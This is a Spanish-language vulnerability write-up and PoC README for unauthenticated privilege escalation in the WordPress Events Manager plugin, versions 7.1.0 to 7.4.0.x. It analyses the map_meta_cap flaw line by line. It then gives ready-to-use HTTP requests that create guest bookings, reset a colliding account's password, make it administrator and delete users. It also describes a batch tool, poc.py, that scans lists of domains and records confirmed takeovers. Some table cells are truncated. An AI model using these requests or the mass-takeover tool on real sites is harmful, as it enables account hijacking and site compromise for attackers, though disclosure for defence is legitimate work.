
PoC de escalada de privilegios no autenticada para WordPress Events Manager < 7.4.1; descubre IDs de publicación/usuario en colisión y escala objetivos a administrador mediante REST o wp-admin.
| Producto | Events Manager (plugin de WordPress) |
| Versiones afectadas | 7.1.0 – 7.4.0.x |
| Versión corregida | 7.4.1 |
| Debilidad | CWE-269: Gestión inadecuada de privilegios |
| Severidad | CVSS 3.1: 9.8 (Crítica) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ID WPVDB | 82767ce2-01e4-46ad-a52b-72d3ab2049bd |
| Investigador original | Jakub Herman |
| Write-up y PoC | ghostpel |
poc.py).Las versiones 7.1.0 a 7.4.0.x de Events Manager contienen una vulnerabilidad de escalada de privilegios que permite a un atacante completamente no autenticado tomar el control de cualquier cuenta de usuario cuyo ID coincida con el ID de una de las entradas del propio plugin (evento / ubicación / evento-recurrente / ubicación-recurrente). La colisión puede forzarse en sitios con reservas de invitados habilitadas (lo predeterminado): cada reserva de invitado crea una cuenta de usuario real y adelanta el contador de autoincremento de wp_users en uno, lo que permite al atacante "recorrer" el espacio de IDs de usuario hasta aterrizar en el ID de una entrada de evento/ubicación.
La causa raíz: el filtro map_meta_cap del plugin descarta la lista de capacidades que WordPress ya había calculado ($caps = []) para cualquier meta-capacidad, siempre que el ID del objeto de la capacidad resulte ser una entrada de evento/ubicación — incluidas capacidades núcleo de WordPress como edit_user, delete_user, promote_user y remove_user. Una lista de capacidades vacía se interpreta como "no se requiere ninguna capacidad", es decir, permitido para todos, incluidos los usuarios sin sesión iniciada.
Consecuencias (todas sin autenticación, vía la API REST de WordPress): cambiar la contraseña de cualquier cuenta que colisione, escalarla a administrator o eliminarla.
Versión analizada: 7.4.0.1 (vulnerable) — comparada con 7.4.1 (corregida).
| Versión | Estado |
|---|---|
| ≤ 7.0.5 | No afectada (el em_map_meta_cap heredado solo gestiona las capacidades propias de EM) |
| 7.1.0 – 7.4.0.x | Vulnerable (el sistema de arquetipos con el defectuoso se introdujo en 7.1.0) |
map_meta_cap vacía $capsclasses/em-archetypes.php (versión 7.4.0.1):
Consecuencia: toda comprobación de current_user_can('edit_user', X) / delete_user / promote_user / remove_user devuelve TRUE siempre que X sea igual al ID de una entrada de evento/ubicación. El plugin "descarta las decisiones de control de acceso que WordPress ya había tomado", exactamente como lo describe WPScan.
Verificada comparando 7.4.0.1 con 7.4.1: ahora el reinicio está protegido por una coincidencia exacta de capacidad por rama (p. ej. && $c['read'][$post->post_type] == $cap), por lo que $caps solo se vacía cuando la capacidad solicitada es realmente una meta-capacidad de arquetipo. Comentario del parche: "Reiniciar con cualquier capacidad que lleve objeto vaciaba la lista de requisitos para capacidades no relacionadas (p. ej. edit_user, promote_user), lo que se interpretaba como permitido."
Los endpoints REST de usuarios (/wp-json/wp/v2/users/{id}) no tienen una barrera global de inicio de sesión: el control de acceso se basa exclusivamente en callbacks de permisos, todos los cuales pasan por el mismo filtro map_meta_cap:
Efecto secundario: edit_comment también se ve afectado cuando un ID de comentario coincide con el ID de una entrada de evento/ubicación (la tabla wp_comments comparte el espacio numérico).
La colisión existe porque wp_users.ID y wp_posts.ID son secuencias de autoincremento independientes que inevitablemente se solapan. Las reservas de invitados la fuerzan:
em-install.php:896 — dbem_bookings_anonymous = 1: reservas de invitados habilitadas por defecto; :871 dbem_bookings_registration_disable = 0 (registro habilitado).em-actions.php:340-344 — booking_add está en $booking_nopriv_actions → invocable sin inicio de sesión (vía wp_ajax_nopriv_booking_add, prioridad 999999, líneas :817-830, o wp_loaded :11).em-actions.php:360-375 — flujo de booking_add: → → → → . (El nonce es solo protección CSRF: el nonce de se renderiza en el formulario público de reservas, por lo que cualquiera puede obtenerlo.)Cadena secundaria observada durante la auditoría (atribución de reservas vía person_id) — events-manager.php:430-437 (em_load_event, $EM_Person desde $_REQUEST['person_id'] sin inicio de sesión), em-booking.php:1060-1072 (get_person() sobrescribe el person_id de una nueva reserva), em-booking.php:2004-2006 (can_manage() = TRUE para una reserva sin ID), em-functions.php:448-449 — sin cambios en 7.4.1; es un vector separado (mala atribución de reservas), no el núcleo de este CVE.
/wp-json/wp/v2/event o fuerza bruta de IDs secuenciales). Digamos que el objetivo es N.N:
POST /wp-admin/admin-ajax.php?action=booking_add
event_id=<E>&em_tickets[<T>][spaces]=1
&user_email=attacker%40mail.com&user_name=Attacker
&_wpnonce=<nonce from the public booking form>
N pertenece al atacante (la contraseña se envía por correo a la dirección del atacante).PUT /wp-json/wp/v2/users/N
Content-Type: application/json
{"password":"Pwned123!","roles":["administrator"]}
edit_user + promote_user se superan porque get_post(N) resuelve a una entrada de evento/ubicación → $caps = [].
(Si una — p. ej. un administrador antiguo — ya tiene el ID que colisiona con el ID de una entrada de evento, el paso 2 no es necesario; el atacante toma el control de esa cuenta directamente.)event/location registrados).poc.pypoc.py es un PoC por lotes asíncrono (asyncio + aiohttp) que, por objetivo: toma la huella de la versión de EM (restringida al rango vulnerable [7.1, 7.4.1)), descubre los IDs de entradas de EM accesibles desde el exterior (sitemap de WP → /locations/, opcionalmente un rastreo del formulario de reservas), sondea los IDs descubiertos para ver si existe una cuenta de usuario (la condición de colisión) y escala las que colisionan — vía el canal REST, o el canal wp-admin cuando se suministra una sesión y REST está bloqueado. Sin barridos ciegos de rangos de usuarios, sin reservas de invitados, sin creación de cuentas.
El ejecutor multiplexa toda la E/S en un único bucle de eventos (CPU casi al 0% cuando está limitado por E/S; -t limita la concurrencia en lugar de los núcleos), escanea solo fragmentos iniciales acotados de 64 KiB en el bucle, descarga los análisis pesados (XML del sitemap, paquete de la página rastreada, formulario de perfil) a hilos de trabajo mediante asyncio.to_thread, y aplica el retardo de cortesía en cada intento de página. La lógica de forzado en sí no cambia (mismas compuertas, mismos oráculos, misma verificación).
py -3 poc.py -l domains.txt # lote (predeterminados: hasil.txt + id-post.txt)
py -3 poc.py -l domains.txt -t 50 -v
py -3 poc.py https://target.example -v # dominio único
py -3 poc.py -l domains.txt --crawl # añadir descubrimiento por rastreo de páginas de reservas
py -3 poc.py -l domains.txt --wp-login sub --wp-password 'Pass1!' \
--wp-session 'wordpress_logged_in_abc=...' # canal de respaldo wp-admin
Requisitos: Python 3.9+, pip install aiohttp.
Los resultados se transmiten a hasil.txt (tomas de control confirmadas) e id-post.txt (cada dominio vulnerable donde se descubrieron IDs de entradas de EM, con collision=yes/no/unknown).
Nota: este PoC se reconstruyó de forma independiente a partir del análisis estático del código fuente de 7.4.0.1 y del diff del parche de 7.4.1 — no es el PoC de WPScan.
SOLO PRUEBAS DE SEGURIDAD AUTORIZADAS. Ejecútelo exclusivamente contra sistemas de su propiedad o para los que tenga permiso escrito explícito para realizar pruebas. El PoC realiza solicitudes HTTP simples — sin evasión; puede ser visible en registros/SIEM.
dbem_bookings_anonymous), restringir los endpoints REST de usuarios a nivel de WAF y supervisar cambios de contraseña, escaladas de roles y eliminaciones de cuentas.map_meta_cap| 7.4.1 | Corregida |
| Línea | Código | Rol |
|---|
:33 | add_filter( 'map_meta_cap', [ static::class, 'map_meta_cap'], 10, 4 ); | Filtro global e incondicional: se ejecuta para todas las comprobaciones de meta-capacidad de WordPress, incluidas las del núcleo y las de usuarios sin sesión iniciada |
:547 | if ( !empty( $args[0] ) ) { | El objeto de la capacidad se toma como un ID de entrada |
:548 | $post = get_post($args[0]); | Colisión de IDs: el ID del usuario objetivo (para capacidades como edit_user) se trata como un ID de entrada |
:551 | `if( empty($post->post_type) | |
:563 | `if ( !empty( $c['read'][$post->post_type] ) | |
:564–565 | $caps = []; | La lista de capacidades se descarta incondicionalmente — aunque la capacidad solicitada no sea una capacidad de arquetipo read/edit/delete_event |
:568/577/584 | if/elseif ramas | $caps solo se rellena cuando $cap coincide exactamente con una meta-capacidad de arquetipo; para edit_user, delete_user, promote_user, remove_user ninguna rama coincide → $caps permanece vacía |
:597 | return $caps; | Un array vacío = "no se requiere ninguna capacidad" = PERMITIDO para cualquiera, incluido el ID de usuario 0 |
| Acción | Endpoint / función del núcleo | Capacidad eludida |
|---|
| Cambiar la contraseña de la cuenta objetivo | PUT /wp-json/wp/v2/users/{id} con {"password":"..."} → wp_update_user() (comprobación interna de edit_user) | edit_user |
| Escalar la cuenta a Administrador | PUT /wp-json/wp/v2/users/{id} con {"roles":["administrator"]} | promote_user |
| Eliminar una cuenta | DELETE /wp-json/wp/v2/users/{id}?reassign=... → wp_delete_user() (comprobación interna de delete_user) | delete_user |
| (Multisitio) eliminar un usuario del blog | remove_user | remove_user |
em_verify_nonce('booking_add')get_post()validate()em_booking_add_registration()$EM_Bookings->add()booking_addem-functions.php:405-417 — rama de invitados: em_register_new_user($user_data) con el correo del atacante.em-functions.php:510 — wp_insert_user($user_data) → el autoincremento de wp_users avanza en 1 por cada reserva de invitado → el atacante controla la tasa de crecimiento del contador de IDs de usuario hasta que aterriza en el ID deseado de entrada de evento/ubicación (WPScan: "cada reserva de invitado crea una cuenta de usuario real y adelanta el contador de IDs de usuario en uno").NDELETE /wp-json/wp/v2/users/M?reassign=N